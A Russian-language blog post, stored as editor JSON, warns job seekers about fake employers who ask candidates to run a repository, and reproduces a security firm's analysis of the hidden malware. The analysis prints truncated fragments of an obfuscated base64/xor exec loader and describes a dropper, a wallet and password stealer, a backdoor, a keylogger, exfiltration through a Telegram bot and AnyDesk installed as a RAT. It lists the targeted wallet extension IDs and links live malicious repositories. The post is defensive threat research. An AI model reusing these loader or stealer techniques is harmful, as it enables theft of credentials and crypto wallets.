{"draftJsState":{"blocks":[{"data":{"image":{"id":"67592526a11f2d04c61e72e8"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"3od73"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":119,"offset":0,"style":"ITALIC"}],"text":"И в процессе имитации собеседования пытаются заставить соискателя загрузить на свой компьютер зловреда и запустить его.","type":"unstyled","key":"4g33s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Введение","type":"header-two","key":"8mevj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Так получилось, что я снова в поисках работы. Честно говоря - ситуация для меня редкая, я вообще впервые ищу работу на открытом рынке труда. Естественно - новые впечатления, новый опыт. Самое интересное из нового опыта - столкнулся с мошенниками, мимикрирующими под работодателя. Это для меня нечто новое, и хочу поделиться опытом, да и предостеречь других соискателей от \"пападакиса\". ","type":"unstyled","key":"dtmhh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Мошенники действуют следующим образом:","type":"unstyled","key":"e5amc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Размещают на сайтах поиска работы (в моём случае - LinkedIn) обьявления о вакансии.","type":"unordered-list-item","key":"9umj3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Соискатель посылает резюме.","type":"unordered-list-item","key":"11amb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Мошенник выходит на контакт, в чате заявляет, что ему резюме очень понравилось, давайте мол проведём краткую ознакомительную беседу, что надо будет делать. Даёт ссылку на репозиторий github или bitbucket \"проекта\", и предлагает скачать \"продукт, над которым Вы будете работать\" и запустить.","type":"unordered-list-item","key":"4at02"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После того как я заявил, что не буду запускать незнамно что, \"работодатель\" вышел из контакта. Но скачанный \"продукт\" вызвал исследовательский интерес, и через полтора часа исследования \"продукта\" я локализовал запрятанного в нём зловреда.","type":"unordered-list-item","key":"cie6c"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":7,"offset":91}],"inlineStyleRanges":[],"text":"Информацию о паре инцидентов и локализованных зловредов я передал в дружественную компанию Рекрипт, cпециализирующуюся на компьютерной безопасности. Они провели детальный и качественный анализ вредоносного кода, и написали отчёт, который я и предоставляю ниже.","type":"unstyled","key":"67m5q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Часть 1. Имплант","type":"header-two","key":"3ro6h"},{"data":{},"depth":0,"entityRanges":[{"key":1,"length":12,"offset":16},{"key":2,"length":15,"offset":224}],"inlineStyleRanges":[],"text":"Не так давно мы анонсировали исследование на эту тему. Как и обещали, делимся результатами. Публиковать статью где-либо долго, поэтому мы решили тезисно и по частям опубликовать результаты этого исследования здесь - в нашем телеграм-канале. Отметим, что на момент публикации все репозитории и ссылки живые. Здесь приводим не всё, но схема понятна","type":"unstyled","key":"24csj"},{"data":{},"depth":0,"entityRanges":[{"key":3,"length":4,"offset":27},{"key":4,"length":8,"offset":85}],"inlineStyleRanges":[],"text":"Итак, вечером 21 октября с нами связался наш коллега — основатель блокчейн-платформы Emercoin Олег Ховайко. Олег обнаружил интересную фишинговую активность в социальной сети Linkedin и решил поделиться с нами этой информацией, а также результатами своих первоначальных исследований.","type":"unstyled","key":"lm2m"},{"data":{},"depth":0,"entityRanges":[{"key":5,"length":5,"offset":92},{"key":6,"length":5,"offset":100},{"key":7,"length":26,"offset":389}],"inlineStyleRanges":[{"length":115,"offset":453,"style":"BOLD"}],"text":"Сама фишинговая схема, хоть и является довольно свежей, не оригинальна и описана, например, здесь и здесь. В случае, обнаруженном Олегом, мошенники мимикрировали под работодателя, разыскивающего специалистов по блокчейн-технологиям. Мошенники в процессе «собеседования», которое проходит, конечно же, онлайн, предлагают скачать проект из репозитория, запустить код, сделать скриншоты. Вот один из таких репозиториев, на который любезно указал нам Олег. Будьте внимательны с этим репозиторием и не запускайте этот код у себя, если у вас нет достаточных знаний и опыта! Интерес представляет файл pypay/libra.py. В нём находится имплант следующего вида:","type":"unstyled","key":"1v1k7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"zg=\"tGlmYksYLGExQeQcSNC4jDU0GNFNjbBgzBDQbHCs4GDNFfhEfMC5gRUM9DhA2ITceCCoYWwYTLgEd...","type":"blockquote","key":"c0f56"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"exec(\"from base64 import b64decode;d1=b64decode(zg[9:]);sk=zg[1:9];sl=len(d1);mq=''\\\n for l0 in range(sl):k=l0&7;w=chr(d1[l0]^ord(sk[k]));mq+=w\\nexec(mq)\")","type":"blockquote","key":"7cce6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Имплант пытались «скрыть» за большим числом символов табуляции, чтобы уменьшить вероятность случайного обнаружения при беглом анализе кода. Дальнейшее исследование проводилось уже непосредственно нашей командой.","type":"unstyled","key":"8fl16"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сам имплант представляет собой, как видно на листинге выше, Base64-строку довольно большого размера, после которой следует код её декодирования с последующим нехитрым расшифрованием с помощью xor. В результате получается код следующего вида:","type":"unstyled","key":"bn2ck"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))","type":"blockquote","key":"131uu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"exec((_)(b'=UsIfc9D+//vPz/r3TQOhAC8tx55A6ktxAvPff96J/J9+PyH1kQX5VQfR/lyANmVNWHseBJQ6...","type":"blockquote","key":"dma7s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Эта лямбда-функция декодирует подаваемую на вход строку, предварительно проинвертировав её. После первой итерации декодирования получим такой результат:","type":"unstyled","key":"je9r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"exec((_)(b’{новая строка base64…}))","type":"blockquote","key":"272n9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":40,"offset":163,"style":"ITALIC"},{"length":42,"offset":223,"style":"ITALIC"}],"text":"И так много десятков раз :) В конечном итоге после многократного декодирования мы получим нагрузку — dropper, который получает управление, скачивает файл с адреса http://:1245/m/NVRlYW05, сохраняет по пути {домашний каталог пользователя}/.vscode/m2 и запускает его.","type":"unstyled","key":"dmf7j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Часть 2. Доступ к криптокошелькам","type":"header-two","key":"5i2u9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"m2","type":"header-three","key":"9o1hf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В файле m2 используется кодирование, аналогичное описанному ранее. Вообще во всех исследованных нами скриптах обфускация выглядит одинаково. m2 – это stealer, который делает следующее:","type":"unstyled","key":"apobg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":11,"style":"ITALIC"}],"text":"по адресу http://:1245/keys отправляет пакет со следующим содержимым: {текущее время, тип нагрузки (в нашем случае значение 'NVRlYW05'), имя компьютера, 'ojq', '4C2' + текущая рабочая директория};","type":"unordered-list-item","key":"flemm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":45,"offset":15,"style":"ITALIC"}],"text":"подключается к http://:1245/client/NVRlYW05, скачивает файл в {домашний каталог пользователя}/.vscode/client и запускает его;","type":"unordered-list-item","key":"el09t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":143,"style":"ITALIC"}],"text":"ходит по папкам браузеров Chrome, Opera, Brave и ищет папки расширений криптокошельков, все найденные файлы из этих папок отправляет на сервер http://:1245/bin;","type":"unordered-list-item","key":"btkf4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"если на компьютере установлена Windows, отправляются файлы расширений криптокошельков браузера Microsoft Edge;","type":"unordered-list-item","key":"4pi9v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":52,"style":"ITALIC"}],"text":"если установлена MacOS, отправляются файлы из папки /Library/Keychains/login.keychain, сохраненные пароли браузеров Brave, Chrome;","type":"unordered-list-item","key":"blv00"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":54,"style":"ITALIC"}],"text":"если установлена Linux, то оправляются файлы из папки /.local/share/keyrings/, а также сохраненные пароли браузеров Chrome, Firefox","type":"unordered-list-item","key":"5tltk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Папки расширений криптокошельков приведены на листинге ниже:","type":"unstyled","key":"4j9fc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Locals = [\n 'nkbihfbeogaeaoehlefnkodbefgpgknn', # metamask2\n 'ibnejdfjmmkpcnlpebklmnkoeoihofec', # Tron\n 'ejbalbakoplchlghecdalmeeeajnimhm', # Metamask2\n 'fhbohimaelbohpjbbldcngcnapndodjp', # BNB Chain Wallet\n 'bfnaelmomeimhlpmgjnjophhpkkoljpa', # Phantom\n 'hnfanknocfeofbddgcijnmhnfnkdnaad', # Coinbase Wallet extension\n 'fnjhmkhhmkbjkkabndcnnogagogbneec', # Ronin Wallet\n 'aeachknmefphepccionboohckonoeemg', # Coin98 Wallet\n 'hifafgmccdpekplomjjkcfgodnhcellj' # Crypto.com | Wallet Extension","type":"blockquote","key":"7fhv1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"]","type":"blockquote","key":"a3adh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"client","type":"header-three","key":"1apj6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":46,"offset":112,"style":"ITALIC"},{"length":11,"offset":198,"style":"ITALIC"},{"length":42,"offset":222,"style":"ITALIC"},{"length":11,"offset":283,"style":"ITALIC"}],"text":"client – это dropper (практически аналогичный libra.py), который скачивает два файла. Первый файл загружается с http://:1244/payload/NVRlYW05 и сохраняется в рабочей директории как .vscode/pay. Второй - c http://:1244/bow/NVRlYW05 и сохраняется как .vscode/bow (при условии, что компьютер управляется ОС Linux или Windows).","type":"unstyled","key":"4sbj3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"pay","type":"header-three","key":"655mo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Файл pay скачивается закодированным по тому же принципу, что и файлы выше. При запуске он:","type":"unstyled","key":"agjb8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"собирает информацию о компьютере: uuid, система, релиз системы, версия системы, название компьютера, уникальный идентификатор;","type":"unordered-list-item","key":"bg848"},{"data":{},"depth":0,"entityRanges":[{"key":8,"length":22,"offset":18}],"inlineStyleRanges":[],"text":"с помощью сервиса http://ip-api.com/json получает информацию о сетевом подключении: страна, город, широта, долгота, ip, внутренний ip, временная зона и т.д;.","type":"unordered-list-item","key":"9g75t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":40,"style":"ITALIC"}],"text":"всю эту информацию отправляет по адресу http://:1244/keys;","type":"unordered-list-item","key":"48quv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":15,"offset":43,"style":"ITALIC"}],"text":"инициирует подключение через raw sockets к XXX.XXX.XXX.XXX по 1245 порту и ждет от сервера команд вида {‘code’: value, ‘args’: value}.","type":"unordered-list-item","key":"6k18k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"code может иметь значения от 1 до 9:","type":"unstyled","key":"9neu4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env,9:A.ssh_zcp}","type":"blockquote","key":"79b36"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Каждое такое значение обозначает функцию, которую необходимо вызвать с аргументом args","type":"unstyled","key":"boa19"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":5,"style":"ITALIC"}],"text":"Т.е. pay является полноценным бэкдором с достаточно широким функционалом!","type":"unstyled","key":"13slq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Часть 3. Бэкдор, RAT и при чём тут Telegram","type":"header-two","key":"5debn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":81,"style":"ITALIC"}],"text":"Продолжаем. В этой части разберём возможности устанавливаемого в систему бэкдора pay, список команд которого приведён в предыдущем посте, а также дальнейшую вредоносную активность.","type":"unstyled","key":"e4b87"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ниже приведено детально описание команд бэкдора pay:","type":"unstyled","key":"4d4d3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"ssh_obj – исполняет команды, полученные от сервера (по сути, выполняет полученную строку через subprocess.Popen(…) с аргументом shell = True). Таким образом можно выполнить практически любое действие в системе жертвы. Крайне полезно для закрепления, повышения привилегий и дальнейшего продвижения.","type":"unstyled","key":"18mqo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"ssh_cmd – если args == delete, то удаляет данный файл после закрытия соединения (других аргументов в коде скрипта обнаружено не было).","type":"unstyled","key":"7f5fe"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"ssh_clip – отправляет на сервер содержимое глобальной переменной e_buf (о ней расскажем чуть позже).","type":"unstyled","key":"3ujph"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"ssh_run – скачивает c http://:1244/brow/NVRlYW05 в ~/.n2/bow и запускает его.","type":"unstyled","key":"9798q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"ssh_upload – в зависимости от переданного аргумента может загружать папки, файлы, искать определенные файлы и папки и загружать их.","type":"unstyled","key":"1v61r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"ssh_kill – завершает процессы браузеров Brave и Chrome.","type":"unstyled","key":"dnjv5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"},{"length":54,"offset":31,"style":"ITALIC"}],"text":"ssh_any – скачивает нагрузку с http://:1244/adc/NVRlYW05 в ~/.n2/adc и запускает её.","type":"unstyled","key":"a4cdt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"ssh_env – в аргументе приходят данные для подключения к FTP-серверу. Если компьютер работает под управлением Windows, происходит отправка файлов из папок ~/Documents и ~/Downloads. В противном случае отправляются файлы из папок ~/home ~/Volumes.","type":"unstyled","key":"disab"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"ssh_zcp – создает временную папку, в которую копирует файлы из расширений браузеров, которые являются криптокошельками. Список весьма внушительный, публиковать его здесь мы не будем. Просто поверьте, что там много. Значительно больше, чем в листинге из предыдущего поста. В эту же папку копируются файлы клиентских криптокошельков:","type":"unstyled","key":"84ndf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"app_win_array={r\"%LocalAppData%\\\\1Password\":\"1pass\",r\"%AppData%\\\\Exodus\":\"exodus\",\n r\"%AppData%\\\\atomic\":\"atomic\",r\"%AppData%\\\\Electrum\":\"electrum\",\n r\"%AppData%\\\\WinAuth\":\"winauth\",\n r\"%AppData%\\\\Proxifier4\\\\Profiles\":\"proxifier4\",\n r\"%AppData%\\\\Dashlane\":\"dashlane\"}app_osx_array={m_base_p+\"Exodus\":\"exodus\",m_base_p+\"atomic\":\"atomic\"}","type":"blockquote","key":"e8iiu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"app_linux_array={l_conf_p+\"Exodus\":\"exodus\",l_conf_p+\"atomic\":\"atomic\"}","type":"blockquote","key":"b1bf3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После этого временная папка сжимается и отправляется Telegram-боту, токен от которого был получен в аргументе к команде (работа через Telegram набирает популярность). Если отправка боту завершилась с ошибкой, происходит загрузка на FTP сервер.","type":"unstyled","key":"fjvd5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":224,"style":"BOLD"}],"text":"Если система работает под управлением Windows, будет запущен keylogger, результаты которого будут записываться в глобальную переменную e_buf, содержимое которой, в свою очередь, будет отправлено на сервер при вызове функции ssh_clip, о которой шла речь выше.","type":"unstyled","key":"amte2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"По сути, бэкдор позволяет на время своей работы получить контроль над системой с теми же возможностями, что и текущий пользователь.","type":"unstyled","key":"4jlr3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Но это ещё не всё. Ведь у нас осталось ещё два скрипта: bow и adc","type":"unstyled","key":"a3e3d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"bow","type":"header-three","key":"c42jf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Скрипт bow пытается дешифровать логин и пароль из популярных браузеров (Chrome, Opera, Brave, Yandex, Microsoft Edge) и отправить их на http://:1244/keys","type":"unstyled","key":"bf7vg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"adc","type":"header-three","key":"98fpg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":79,"style":"ITALIC"}],"text":"Если компьютер находится под управлением Windows, скрипт пытается обратиться к http://:1244/any , скачать Anydesk.exe (утилита для удалённого администрирования системы) и установить его. После этого в конфигурационный файл прописываются свои данные. Если же компьютер находится под управлением Linux, скрипт пытается найти уже установленный Anydesk и дописывает в файл конфигурации свои данные. Таким образом на системе жертвы устанавливается полноценный RAT (Remote Access Trojan) с широчайшими возможностями для любых дальнейших действий.","type":"unstyled","key":"dojfk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Часть 4. Заключение","type":"header-two","key":"qqie"},{"data":{},"depth":0,"entityRanges":[{"key":9,"length":22,"offset":139},{"key":10,"length":36,"offset":495},{"key":11,"length":42,"offset":581},{"key":12,"length":34,"offset":706}],"inlineStyleRanges":[{"length":33,"offset":193,"style":"ITALIC"}],"text":"Первый вопрос, который всплывает в голове: единственный ли это репозиторий, который используется мошенниками? К сожалению, нет. Вот пример ещё одного репозитория, где имплант находится в файле public/Marketing/imgs/fb-logo.png . Этот файл, несмотря на вводящее в опасное заблуждение расширение, является обфусцированным js-скриптом, который обращается к папкам расширений криптокошельков браузеров (Chrome, Opera, Brave, Firefox, Microsoft Edge), собирает оттуда файлы и отправляет их по адресу http://XXX.XXX.XXX.XXX:1224/uploads. Также этот скрипт загружает файл client с адреса http://XXX.XXX.XXX.XXX:1224/client/10/106. Если машина управляется Windows, дополнительно скачивается архив pi2.zip с адреса http://XXX.XXX.XXX.XXX:1224/pdown. В архиве находятся python-скрипты с названиями, функционалом и методами обфускации, сходными с описанными выше. Это говорит нам об одном авторстве вредоносных нагрузок. Разница, по сути, только в имплантах.","type":"unstyled","key":"em151"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Качество фишинговых атак возрастает. Сайты компаний и объявления сделаны довольно качественно, репозитории с кодом размещены на популярных площадках. Сами импланты и их обфускация заслуживают отдельного внимания. Импланты размещены «глубоко в коде» - в файлах, расположенных «не на виду», которые при беглом взгляде кажутся совершенно не важными, чтобы заострять на них внимание. Обфускация и шифрование имплантов призваны затруднить декодирование вредоносной нагрузки. Незаинтересованный человек, даже если увидит имплант, скорее всего просто не станет дальше копать и прекратит общение с мошенниками, потому что декодирование нагрузки требует некоторого времени и немного поскриптовать. В декодированных вредоносных скриптах адреса удалённых ресурсов не присутствуют в явном виде, а собираются из закодированных строк. Всё вышесказанное намекает на противодействие в том числе и автоматизированному анализу.","type":"unstyled","key":"9i8mo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Специалисты по блокчейн выбраны в качестве жертв неслучайно, т.к. вероятность, что на их устройствах будут криптокошельки, существенно выше, чем в других случаях. Впрочем, нагрузки достаточно универсальны, довольно неплохо сделаны и могут использоваться не только для атак на блокчейн-инженеров. Кражей кошельков дело не ограничивается - мошенники пытаются получить доступ к другой чувствительной информации: логины с паролями, содержимое буфера обмена. Также запускается backdoor, что позволяет злоумышленникам осуществлять широкий спектр действий на компьютере жертвы. В этот момент злоумышленники знают о системе жертвы практически всё, что позволяет им работать целенаправленно, повышая свою эффективность. Запуск Anydesk в роли RAT усугубляет проблему и позволяет мошенникам оперировать компьютером жертвы практически как своим собственным.","type":"unstyled","key":"a6v4s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Загрузка данных Telegram-боту выглядит интересно. Технология не так уж и нова, но довольно удобна и эффективна, поэтому набирает популярность и встречается всё чаще. Даже в корпоративных инфраструктурах блокировка Telegram – не столь частое явление, а зачастую Telegram – это полноценный рабочий инструмент в том числе и в больших компаниях. Десктопные клиенты мессенджеров в корпоративной инфраструктуре встречаются нередко, а значит, такой трафик не вызовет подозрений на периметре. Т.е., если соискатель проходит «собеседование» на рабочем месте в компании, то, учитывая внушительные возможности устанавливаемого злоумышленниками инструментария, вероятность компрометации всей корпоративной инфраструктуры крайне высока.","type":"unstyled","key":"9dssq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Число вредоносов на некомпилируемых языках (типа Python) растёт. Это позволяет атаковать широкий спектр систем, базирующихся на Windows, Linux, MacOS.","type":"unstyled","key":"9cqlj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"1lseu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"db07q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"8ptgv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"avNIuziDjKfOby9Q0frC"}],"entityMap":{"11":{"data":{"url":"http://XXX.XXX.XXX.XXX:1224/client/10/106."},"mutability":"MUTABLE","type":"LINK"},"12":{"data":{"url":"http://XXX.XXX.XXX.XXX:1224/pdown."},"mutability":"MUTABLE","type":"LINK"},"0":{"data":{"url":"https://re-crypt.com"},"mutability":"MUTABLE","type":"LINK"},"1":{"data":{"url":"https://t.me/recryptor/172"},"mutability":"MUTABLE","type":"LINK"},"2":{"data":{"url":"https://t.me/recryptor"},"mutability":"MUTABLE","type":"LINK"},"3":{"data":{"url":"https://re-crypt.com/"},"mutability":"MUTABLE","type":"LINK"},"4":{"data":{"url":"https://emercoin.com/"},"mutability":"MUTABLE","type":"LINK"},"5":{"data":{"url":"https://blog.phylum.io/smuggling-malware-in-test-code/"},"mutability":"MUTABLE","type":"LINK"},"6":{"data":{"url":"https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/"},"mutability":"MUTABLE","type":"LINK"},"7":{"data":{"url":"https://bitbucket.org/veneliteus/crypto-wallet-mvp/src/main/"},"mutability":"MUTABLE","type":"LINK"},"8":{"data":{"url":"http://ip-api.com/json"},"mutability":"MUTABLE","type":"LINK"},"9":{"data":{"url":"https://bitbucket.org/freebling_pro/freebling_repo/src/master/"},"mutability":"MUTABLE","type":"LINK"},"10":{"data":{"url":"http://XXX.XXX.XXX.XXX:1224/uploads."},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}